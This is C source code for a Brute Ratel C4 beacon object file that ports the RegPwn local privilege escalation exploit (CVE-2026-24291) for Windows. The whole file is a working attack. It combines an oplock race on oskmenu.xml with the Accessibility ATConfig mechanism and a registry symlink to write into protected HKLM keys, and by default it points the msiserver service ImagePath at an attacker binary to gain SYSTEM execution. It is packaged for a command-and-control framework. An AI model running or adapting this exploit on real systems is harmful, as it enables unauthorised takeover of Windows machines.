/* * RegPwn BRc4 BOF - CVE-2026-24291 Local Privilege Escalation * * BRc4 BOF port of the original RegPwn exploit by Filip Dragovic (@Wh04m1001) / MDSec. * Exploits a registry symlink race condition via the Windows Accessibility * ATConfig mechanism to write arbitrary values to protected HKLM registry * keys from a normal user context. * * Original research & code: * Blog: https://www.mdsec.co.uk/2026/03/rip-regpwn/ * GitHub: https://github.com/mdsecactivebreach/RegPwn * Author: Filip Dragovic (@Wh04m1001) - MDSec ActiveBreach * * Default target: HKLM\SYSTEM\CurrentControlSet\Services\msiserver\ImagePath */ #include extern WCHAR** g_dispatch; #include "badger_exports.h" #include "bofdefs.h" /* ------------------------------------------------------------------ */ /* Constants */ /* ------------------------------------------------------------------ */ #define REGPWN_BUFSIZE 8192 #ifndef FSCTL_REQUEST_OPLOCK_LEVEL_1 #define FSCTL_REQUEST_OPLOCK_LEVEL_1 0x00090000 #endif #ifndef FSCTL_OPLOCK_BREAK_ACK_NO_2 #define FSCTL_OPLOCK_BREAK_ACK_NO_2 0x00090050 #endif #define REGPWN_HKLM ((HKEY)(ULONG_PTR)0x80000002) #define REGPWN_HKCU ((HKEY)(ULONG_PTR)0x80000001) #define REGPWN_REG_OPTION_CREATE_LINK 0x00000002 #define REGPWN_REG_OPTION_VOLATILE 0x00000001 #define REGPWN_REG_OPTION_OPEN_LINK 0x00000008 #define REGPWN_REG_LINK 0x00000006 #define REGPWN_REG_EXPAND_SZ 0x00000002 #define REGPWN_KEY_WRITE 0x00020006 #define REGPWN_KEY_CREATE_LINK 0x00000020 #define REGPWN_DELETE_ACCESS 0x00010000 #define REGPWN_KEY_READ 0x00020019 #define REGPWN_TOKEN_SESSION_ID 12 /* Current process token pseudo-handle */ #define REGPWN_CURRENT_PROCESS_TOKEN ((HANDLE)(LONG_PTR)-4) /* Value buffer size in bytes (512 wchars) */ #define REGPWN_VALBUF_CB (1024 * sizeof(wchar_t)) /* ------------------------------------------------------------------ */ /* simple inline: internal_printf wrapper */ /* ------------------------------------------------------------------ */ #ifdef BOF static void internal_printf(const char* format, ...) { int buffersize = 0; char * intBuffer = NULL; va_list args; va_start(args, format); buffersize = Msvcrt$vsnprintf(NULL, 0, format, args); va_end(args); intBuffer = (char*)intAlloc(buffersize + 1); va_start(args, format); Msvcrt$vsnprintf(intBuffer, buffersize + 1, format, args); va_end(args); BadgerDispatch(g_dispatch, "%s", intBuffer); intFree(intBuffer); } static void printoutput(BOOL done) { return; } static int bofstart(void) { return 1; } static void bofstop(void) { return; } #else static void internal_printf(const char* format, ...) { va_list args; va_start(args, format); vprintf(format, args); va_end(args); } static void printoutput(BOOL done) { return; } static int bofstart(void) { return 1; } static void bofstop(void) { return; } #endif /* ------------------------------------------------------------------ */ /* check_reg_value: read current value of target HKLM key */ /* Returns 0 on success, fills wValueBuf. Returns -1 if key missing. */ /* ------------------------------------------------------------------ */ static int check_reg_value( const wchar_t *wszSubKey, const wchar_t *wszValueName, wchar_t *wValueBuf, DWORD cbBufSize) { HKEY hKey = NULL; LONG lRes = 0; DWORD dwType = 0; DWORD cbData = cbBufSize; int ret = -1; lRes = Advapi32$RegOpenKeyExW(REGPWN_HKLM, wszSubKey, 0, REGPWN_KEY_READ, &hKey); if (lRes != 0) { Msvcrt$_snwprintf(wValueBuf, cbBufSize / sizeof(wchar_t), L"(key not found, error %ld)", lRes); wValueBuf[(cbBufSize / sizeof(wchar_t)) - 1] = L'\0'; goto cleanup; } lRes = Advapi32$RegQueryValueExW(hKey, wszValueName, NULL, &dwType, (LPBYTE)wValueBuf, &cbData); if (lRes != 0) { Msvcrt$_snwprintf(wValueBuf, cbBufSize / sizeof(wchar_t), L"(value not found, error %ld)", lRes); wValueBuf[(cbBufSize / sizeof(wchar_t)) - 1] = L'\0'; goto cleanup; } wValueBuf[(cbBufSize / sizeof(wchar_t)) - 1] = L'\0'; ret = 0; cleanup: if (hKey) { Advapi32$RegCloseKey(hKey); hKey = NULL; } return ret; } /* ------------------------------------------------------------------ */ /* get_session_atconfig_path: build HKLM ATConfig path with session ID */ /* ------------------------------------------------------------------ */ static int get_session_atconfig_path(wchar_t *wszPathBuf, DWORD cchBuf) { DWORD dwSessionId = 0; DWORD dwRetLen = 0; int ret = -1; if (!Advapi32$GetTokenInformation( REGPWN_CURRENT_PROCESS_TOKEN, (TOKEN_INFORMATION_CLASS)REGPWN_TOKEN_SESSION_ID, &dwSessionId, sizeof(dwSessionId), &dwRetLen)) { internal_printf("[-] GetTokenInformation failed: %lu\n", Kernel32$GetLastError()); goto cleanup; } Msvcrt$_snwprintf(wszPathBuf, cchBuf, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" L"\\Accessibility\\Session%lu\\ATConfig\\osk", (unsigned long)dwSessionId); wszPathBuf[cchBuf - 1] = L'\0'; ret = 0; cleanup: return ret; } /* ------------------------------------------------------------------ */ /* SHELLEXECUTEINFOW — defined inline for BOF (no shellapi.h) */ /* ------------------------------------------------------------------ */ #ifdef BOF typedef struct _REGPWN_SHELLEXECUTEINFOW { DWORD cbSize; ULONG fMask; HWND hwnd; LPCWSTR lpVerb; LPCWSTR lpFile; LPCWSTR lpParameters; LPCWSTR lpDirectory; int nShow; HINSTANCE hInstApp; void *lpIDList; LPCWSTR lpClass; HKEY hkeyClass; DWORD dwHotKey; HANDLE hIcon; HANDLE hProcess; } REGPWN_SHELLEXECUTEINFOW; #else typedef SHELLEXECUTEINFOW REGPWN_SHELLEXECUTEINFOW; #endif #define REGPWN_SEE_MASK_NOCLOSEPROCESS 0x00000040 /* ------------------------------------------------------------------ */ /* start_osk: launch osk.exe via ShellExecuteExW (handles UAC), 5s */ /* ------------------------------------------------------------------ */ static int start_osk(void) { REGPWN_SHELLEXECUTEINFOW sei; int ret = -1; Msvcrt$memset(&sei, 0, sizeof(sei)); sei.cbSize = sizeof(sei); sei.fMask = REGPWN_SEE_MASK_NOCLOSEPROCESS; sei.hwnd = NULL; sei.lpFile = L"C:\\windows\\system32\\osk.exe"; sei.lpParameters = NULL; sei.lpDirectory = NULL; sei.nShow = 0; /* SW_HIDE */ if (!Shell32$ShellExecuteExW(&sei)) { internal_printf("[-] ShellExecuteExW(osk.exe) failed: %lu\n", Kernel32$GetLastError()); goto cleanup; } internal_printf("[+] osk.exe launched. Sleeping 5s...\n"); Kernel32$Sleep(5000); if (sei.hProcess != NULL) { Kernel32$CloseHandle(sei.hProcess); sei.hProcess = NULL; } ret = 0; cleanup: return ret; } /* ------------------------------------------------------------------ */ /* add_hkcu_reg_value: create HKCU ATConfig key, set attacker value */ /* ------------------------------------------------------------------ */ static int add_hkcu_reg_value( const wchar_t *wszValueName, const wchar_t *wszValueData) { HKEY hKey = NULL; DWORD dwDisp = 0; LONG lRes = 0; DWORD cbData = 0; int ret = -1; lRes = Advapi32$RegCreateKeyExW( REGPWN_HKCU, L"Software\\Microsoft\\Windows NT\\CurrentVersion" L"\\Accessibility\\ATConfig\\osk", 0, NULL, 0, REGPWN_KEY_WRITE, NULL, &hKey, &dwDisp); if (lRes != 0) { internal_printf("[-] RegCreateKeyExW(HKCU ATConfig) failed: %ld\n", (long)lRes); goto cleanup; } cbData = (DWORD)((Msvcrt$wcslen(wszValueData) + 1) * sizeof(wchar_t)); lRes = Advapi32$RegSetValueExW(hKey, wszValueName, 0, REGPWN_REG_EXPAND_SZ, (const BYTE *)wszValueData, cbData); if (lRes != 0) { internal_printf("[-] RegSetValueExW(HKCU value) failed: %ld\n", (long)lRes); goto cleanup; } internal_printf("[+] HKCU registry value added.\n"); ret = 0; cleanup: if (hKey) { Advapi32$RegCloseKey(hKey); hKey = NULL; } return ret; } /* ------------------------------------------------------------------ */ /* setup_oplock: open oskmenu.xml and request level-1 oplock */ /* Returns 0 on success, fills hFile and hEvent for the caller. */ /* ------------------------------------------------------------------ */ static int setup_oplock(HANDLE *phFile, HANDLE *phEvent, OVERLAPPED *pOvl) { DWORD dwErr = 0; int ret = -1; wchar_t wszPath[] = L"C:\\Program Files\\Common Files\\microsoft shared" L"\\ink\\fsdefinitions\\oskmenu.xml"; *phFile = INVALID_HANDLE_VALUE; *phEvent = NULL; *phFile = Kernel32$CreateFileW( wszPath, GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); if (*phFile == INVALID_HANDLE_VALUE) { internal_printf("[-] CreateFileW(oskmenu.xml) failed: %lu\n", Kernel32$GetLastError()); goto cleanup; } *phEvent = Kernel32$CreateEventW(NULL, TRUE, FALSE, NULL); if (*phEvent == NULL) { internal_printf("[-] CreateEventW failed: %lu\n", Kernel32$GetLastError()); goto cleanup; } Msvcrt$memset(pOvl, 0, sizeof(*pOvl)); pOvl->hEvent = *phEvent; if (!Kernel32$DeviceIoControl(*phFile, FSCTL_REQUEST_OPLOCK_LEVEL_1, NULL, 0, NULL, 0, NULL, pOvl)) { dwErr = Kernel32$GetLastError(); if (dwErr != ERROR_IO_PENDING) { internal_printf("[-] DeviceIoControl(oplock) failed: %lu\n", dwErr); goto cleanup; } } internal_printf("[+] Oplock set on oskmenu.xml.\n"); ret = 0; cleanup: return ret; } /* ------------------------------------------------------------------ */ /* create_symlink: delete ATConfig key and recreate as registry symlink*/ /* ------------------------------------------------------------------ */ static int create_symlink( const wchar_t *wszAtconfigPath, const wchar_t *wszTargetNtPath) { HKEY hKey = NULL; DWORD dwDisp = 0; LONG lRes = 0; DWORD cbData = 0; int ret = -1; lRes = Advapi32$RegDeleteKeyW(REGPWN_HKLM, wszAtconfigPath); if (lRes != 0 && lRes != 2) /* 2 = ERROR_FILE_NOT_FOUND */ { internal_printf("[-] RegDeleteKeyW(ATConfig) failed: %ld\n", (long)lRes); goto cleanup; } if (lRes == 2) internal_printf("[*] ATConfig key absent, creating symlink directly.\n"); lRes = Advapi32$RegCreateKeyExW( REGPWN_HKLM, wszAtconfigPath, 0, NULL, REGPWN_REG_OPTION_CREATE_LINK | REGPWN_REG_OPTION_VOLATILE, REGPWN_KEY_WRITE | REGPWN_KEY_CREATE_LINK, NULL, &hKey, &dwDisp); if (lRes != 0) { internal_printf("[-] RegCreateKeyExW(symlink) failed: %ld\n", (long)lRes); goto cleanup; } /* REG_LINK data must NOT include null terminator */ cbData = (DWORD)(Msvcrt$wcslen(wszTargetNtPath) * sizeof(wchar_t)); lRes = Advapi32$RegSetValueExW(hKey, L"SymbolicLinkValue", 0, REGPWN_REG_LINK, (const BYTE *)wszTargetNtPath, cbData); if (lRes != 0) { internal_printf("[-] RegSetValueExW(SymbolicLinkValue) failed: %ld\n", (long)lRes); goto cleanup; } internal_printf("[+] Registry symlink created.\n"); ret = 0; cleanup: if (hKey) { Advapi32$RegCloseKey(hKey); hKey = NULL; } return ret; } /* ------------------------------------------------------------------ */ /* cleanup_symlink: open the symlink key with OPEN_LINK and delete it */ /* ------------------------------------------------------------------ */ static int cleanup_symlink(const wchar_t *wszAtconfigPath) { HKEY hKey = NULL; LONG lRes = 0; NTSTATUS ntStatus = 0; int ret = -1; lRes = Advapi32$RegOpenKeyExW( REGPWN_HKLM, wszAtconfigPath, REGPWN_REG_OPTION_OPEN_LINK, REGPWN_DELETE_ACCESS, &hKey); if (lRes != 0) { internal_printf("[!] RegOpenKeyExW(OPEN_LINK) failed: %ld " "(symlink may already be gone)\n", (long)lRes); ret = 0; goto cleanup; } ntStatus = Ntdll$NtDeleteKey((HANDLE)hKey); if (ntStatus == 0) { internal_printf("[+] Symlink deleted.\n"); ret = 0; } else { internal_printf("[-] NtDeleteKey failed: 0x%08lx\n", (unsigned long)ntStatus); } cleanup: if (hKey) { Advapi32$RegCloseKey(hKey); hKey = NULL; } return ret; } /* ------------------------------------------------------------------ */ /* build_nt_reg_path: convert "SYSTEM\CurrentControlSet\..." to */ /* "\Registry\Machine\SYSTEM\CurrentControlSet\..." */ /* ------------------------------------------------------------------ */ static int build_nt_reg_path( const wchar_t *wszHklmSubKey, wchar_t *wszNtPath, DWORD cchNtPath) { Msvcrt$_snwprintf(wszNtPath, cchNtPath, L"\\Registry\\Machine\\%ls", wszHklmSubKey); wszNtPath[cchNtPath - 1] = L'\0'; return 0; } /* ------------------------------------------------------------------ */ /* oplock_wait_loop: lock workstation and poll for oplock break */ /* ------------------------------------------------------------------ */ static int oplock_wait_loop(HANDLE hEvent) { DWORD dwWait = 0; BOOL bLocked = FALSE; int iterations = 0; int ret = -1; while (iterations < 120) { if (!bLocked) { bLocked = TRUE; if (!User32$LockWorkStation()) { internal_printf("[-] LockWorkStation failed: %lu\n", Kernel32$GetLastError()); goto cleanup; } internal_printf("[*] Workstation locked. Waiting for oplock...\n"); } dwWait = Kernel32$WaitForSingleObject(hEvent, 500); if (dwWait == WAIT_OBJECT_0) { internal_printf("[+] Oplock triggered!\n"); ret = 0; goto cleanup; } iterations++; } internal_printf("[-] Oplock wait timed out after 60 seconds.\n"); cleanup: return ret; } /* ------------------------------------------------------------------ */ /* ack_oplock: explicit FSCTL_OPLOCK_BREAK_ACK_NO_2 acknowledgment */ /* ------------------------------------------------------------------ */ static void ack_oplock(HANDLE hOplockFile) { HANDLE hAckEvt = Kernel32$CreateEventW(NULL, TRUE, FALSE, NULL); if (hAckEvt == NULL) { internal_printf("[!] CreateEventW(ack) failed, closing handle as fallback.\n"); return; } OVERLAPPED ackOvl; Msvcrt$memset(&ackOvl, 0, sizeof(ackOvl)); ackOvl.hEvent = hAckEvt; Kernel32$DeviceIoControl(hOplockFile, FSCTL_OPLOCK_BREAK_ACK_NO_2, NULL, 0, NULL, 0, NULL, &ackOvl); Kernel32$WaitForSingleObject(hAckEvt, 5000); Kernel32$CloseHandle(hAckEvt); hAckEvt = NULL; internal_printf("[+] Oplock acknowledged.\n"); } /* ------------------------------------------------------------------ */ /* cleanup_hkcu: remove the attacker value and key from HKCU ATConfig */ /* ------------------------------------------------------------------ */ static void cleanup_hkcu(const wchar_t *wszValueName) { HKEY hKey = NULL; LONG lRes = 0; lRes = Advapi32$RegOpenKeyExW( REGPWN_HKCU, L"Software\\Microsoft\\Windows NT\\CurrentVersion" L"\\Accessibility\\ATConfig\\osk", 0, REGPWN_KEY_WRITE, &hKey); if (lRes != 0) return; /* Delete the attacker's value */ Advapi32$RegDeleteValueW(hKey, wszValueName); Advapi32$RegCloseKey(hKey); hKey = NULL; /* Delete the osk key itself (leaf key, will fail if subkeys exist) */ Advapi32$RegDeleteKeyW( REGPWN_HKCU, L"Software\\Microsoft\\Windows NT\\CurrentVersion" L"\\Accessibility\\ATConfig\\osk"); internal_printf("[+] HKCU ATConfig cleanup done.\n"); } /* ------------------------------------------------------------------ */ /* post_exploit: ack oplock, sleep, close file, cleanup, verify */ /* ------------------------------------------------------------------ */ static void post_exploit( HANDLE *phOplockFile, const wchar_t *wszAtconfigPath, const wchar_t *wszRegSubKey, const wchar_t *wszValueName, const wchar_t *wszOldValue, wchar_t *wszNewValue, DWORD cbNewValue) { ack_oplock(*phOplockFile); internal_printf("[*] Sleeping 10s for propagation...\n"); Kernel32$Sleep(10000); /* Close file handle (release oskmenu.xml) */ if (*phOplockFile != INVALID_HANDLE_VALUE) { Kernel32$CloseHandle(*phOplockFile); *phOplockFile = INVALID_HANDLE_VALUE; } cleanup_symlink(wszAtconfigPath); Msvcrt$memset(wszNewValue, 0, cbNewValue); check_reg_value(wszRegSubKey, wszValueName, wszNewValue, cbNewValue); if (Msvcrt$wcscmp(wszOldValue, wszNewValue) == 0) { internal_printf("[-] Exploit FAILED. Value unchanged: %S\n", wszNewValue); } else { internal_printf("[+] Exploit SUCCEEDED! New value: %S\n", wszNewValue); } /* Always clean up HKCU artifacts regardless of success/failure */ cleanup_hkcu(wszValueName); } /* ------------------------------------------------------------------ */ /* go() - BOF entry point */ /* ------------------------------------------------------------------ */ #ifdef BOF void coffee(char** argv, int argc, WCHAR** dispatch) { g_dispatch = dispatch; wchar_t *wszValueData = NULL; wchar_t *wszRegSubKey = NULL; wchar_t *wszValueName = NULL; wchar_t wszAtconfigPath[256]; wchar_t wszNtTarget[512]; wchar_t *wszOldValue = NULL; wchar_t *wszNewValue = NULL; HANDLE hOplockFile = INVALID_HANDLE_VALUE; HANDLE hOplockEvent = NULL; OVERLAPPED ovl = {0}; if (!bofstart()) return; if (argc < 3) { internal_printf("[-] Usage: regpwn \n"); goto cleanup; } /* Heap-allocate large value buffers to stay under 4KB stack limit */ wszOldValue = (wchar_t *)intAlloc(REGPWN_VALBUF_CB); wszNewValue = (wchar_t *)intAlloc(REGPWN_VALBUF_CB); if (!wszOldValue || !wszNewValue) { internal_printf("[-] Heap allocation failed.\n"); goto cleanup; } int wlen1 = Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[0], -1, NULL, 0); wszValueData = (wchar_t *)intAlloc(wlen1 * sizeof(wchar_t)); Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[0], -1, wszValueData, wlen1); int wlen2 = Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[1], -1, NULL, 0); wszRegSubKey = (wchar_t *)intAlloc(wlen2 * sizeof(wchar_t)); Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[1], -1, wszRegSubKey, wlen2); int wlen3 = Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[2], -1, NULL, 0); wszValueName = (wchar_t *)intAlloc(wlen3 * sizeof(wchar_t)); Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[2], -1, wszValueName, wlen3); if (!wszValueData || !wszRegSubKey || !wszValueName) { internal_printf("[-] Invalid or missing arguments.\n"); goto cleanup; } internal_printf("[*] RegPwn CVE-2026-24291 LPE\n"); internal_printf("[*] Target key : HKLM\\%S\n", wszRegSubKey); internal_printf("[*] Value name : %S\n", wszValueName); internal_printf("[*] Value data : %S\n", wszValueData); /* Step 1: Read current value */ if (check_reg_value(wszRegSubKey, wszValueName, wszOldValue, REGPWN_VALBUF_CB) < 0) { internal_printf("[-] Target registry key does not exist.\n"); goto cleanup; } internal_printf("[*] Old value : %S\n", wszOldValue); /* Step 2: Get ATConfig path with session ID */ Msvcrt$memset(wszAtconfigPath, 0, sizeof(wszAtconfigPath)); if (get_session_atconfig_path(wszAtconfigPath, 256) < 0) goto cleanup; internal_printf("[+] ATConfig path: %S\n", wszAtconfigPath); /* Step 3: Start osk.exe */ if (start_osk() < 0) goto cleanup; /* Step 4: Add attacker value to HKCU ATConfig */ if (add_hkcu_reg_value(wszValueName, wszValueData) < 0) goto cleanup; /* Step 5: Set oplock on oskmenu.xml */ if (setup_oplock(&hOplockFile, &hOplockEvent, &ovl) < 0) goto cleanup; /* Step 6: Lock workstation and wait for oplock break */ if (oplock_wait_loop(hOplockEvent) < 0) goto cleanup; /* Step 7: Race — delete ATConfig, create symlink */ Msvcrt$memset(wszNtTarget, 0, sizeof(wszNtTarget)); build_nt_reg_path(wszRegSubKey, wszNtTarget, 512); if (create_symlink(wszAtconfigPath, wszNtTarget) < 0) goto cleanup; /* Steps 8-12: ack, sleep, close, cleanup, verify */ post_exploit(&hOplockFile, wszAtconfigPath, wszRegSubKey, wszValueName, wszOldValue, wszNewValue, REGPWN_VALBUF_CB); cleanup: if (hOplockFile != INVALID_HANDLE_VALUE) { Kernel32$CloseHandle(hOplockFile); hOplockFile = INVALID_HANDLE_VALUE; } if (hOplockEvent != NULL) { Kernel32$CloseHandle(hOplockEvent); hOplockEvent = NULL; } if (wszOldValue) intFree(wszOldValue); if (wszNewValue) intFree(wszNewValue); if (wszValueData) intFree(wszValueData); if (wszRegSubKey) intFree(wszRegSubKey); if (wszValueName) intFree(wszValueName); printoutput(TRUE); bofstop(); } #else /* ------------------------------------------------------------------ */ /* Standalone test main() */ /* ------------------------------------------------------------------ */ int main(int argc, char ** argv) { wchar_t wszAtconfigPath[256]; wchar_t wszNtTarget[512]; wchar_t wszOldValue[1024]; wchar_t wszNewValue[1024]; HANDLE hOplockFile = INVALID_HANDLE_VALUE; HANDLE hOplockEvent = NULL; OVERLAPPED ovl; /* Defaults matching msiserver target */ wchar_t *wszRegSubKey = L"SYSTEM\\CurrentControlSet\\Services\\msiserver"; wchar_t *wszValueName = L"ImagePath"; wchar_t *wszValueData = L"C:\\Programdata\\service.exe"; if (argc >= 2) { int wlen = 0; printf("[*] Standalone test mode.\n"); printf("[*] Usage: regpwn.exe [valueData] [subKey] [valueName]\n"); wlen = MultiByteToWideChar(CP_UTF8, 0, argv[1], -1, NULL, 0); wszValueData = (wchar_t *)malloc(wlen * sizeof(wchar_t)); MultiByteToWideChar(CP_UTF8, 0, argv[1], -1, wszValueData, wlen); } if (argc >= 3) { int wlen = MultiByteToWideChar(CP_UTF8, 0, argv[2], -1, NULL, 0); wszRegSubKey = (wchar_t *)malloc(wlen * sizeof(wchar_t)); MultiByteToWideChar(CP_UTF8, 0, argv[2], -1, wszRegSubKey, wlen); } if (argc >= 4) { int wlen = MultiByteToWideChar(CP_UTF8, 0, argv[3], -1, NULL, 0); wszValueName = (wchar_t *)malloc(wlen * sizeof(wchar_t)); MultiByteToWideChar(CP_UTF8, 0, argv[3], -1, wszValueName, wlen); } memset(&ovl, 0, sizeof(ovl)); internal_printf("[*] RegPwn CVE-2026-24291 LPE (standalone test)\n"); internal_printf("[*] Target key : HKLM\\%S\n", wszRegSubKey); internal_printf("[*] Value name : %S\n", wszValueName); internal_printf("[*] Value data : %S\n", wszValueData); memset(wszOldValue, 0, sizeof(wszOldValue)); if (check_reg_value(wszRegSubKey, wszValueName, wszOldValue, sizeof(wszOldValue)) < 0) { internal_printf("[-] Target registry key does not exist.\n"); return 1; } internal_printf("[*] Old value : %S\n", wszOldValue); memset(wszAtconfigPath, 0, sizeof(wszAtconfigPath)); if (get_session_atconfig_path(wszAtconfigPath, 256) < 0) return 1; internal_printf("[+] ATConfig path: %S\n", wszAtconfigPath); if (start_osk() < 0) return 1; if (add_hkcu_reg_value(wszValueName, wszValueData) < 0) return 1; if (setup_oplock(&hOplockFile, &hOplockEvent, &ovl) < 0) return 1; if (oplock_wait_loop(hOplockEvent) < 0) return 1; memset(wszNtTarget, 0, sizeof(wszNtTarget)); build_nt_reg_path(wszRegSubKey, wszNtTarget, 512); if (create_symlink(wszAtconfigPath, wszNtTarget) < 0) return 1; post_exploit(&hOplockFile, wszAtconfigPath, wszRegSubKey, wszValueName, wszOldValue, wszNewValue, sizeof(wszNewValue)); if (hOplockFile != INVALID_HANDLE_VALUE) CloseHandle(hOplockFile); if (hOplockEvent != NULL) CloseHandle(hOplockEvent); return 0; } #endif